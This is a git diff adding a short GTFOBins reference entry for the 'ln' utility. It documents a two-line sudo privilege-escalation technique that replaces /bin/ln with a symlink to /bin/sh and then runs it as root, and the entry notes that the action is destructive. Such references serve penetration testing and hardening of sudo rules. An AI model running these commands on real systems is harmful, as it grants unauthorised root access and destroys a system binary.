diff --git a/_gtfobins/ln.md b/_gtfobins/ln.md new file mode 100644 index 0000000..41dccd2 --- /dev/null +++ b/_gtfobins/ln.md @@ -0,0 +1,8 @@ +--- +description: This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action. +functions: + sudo: + - code: | + sudo ln -fs /bin/sh /bin/ln + sudo ln +---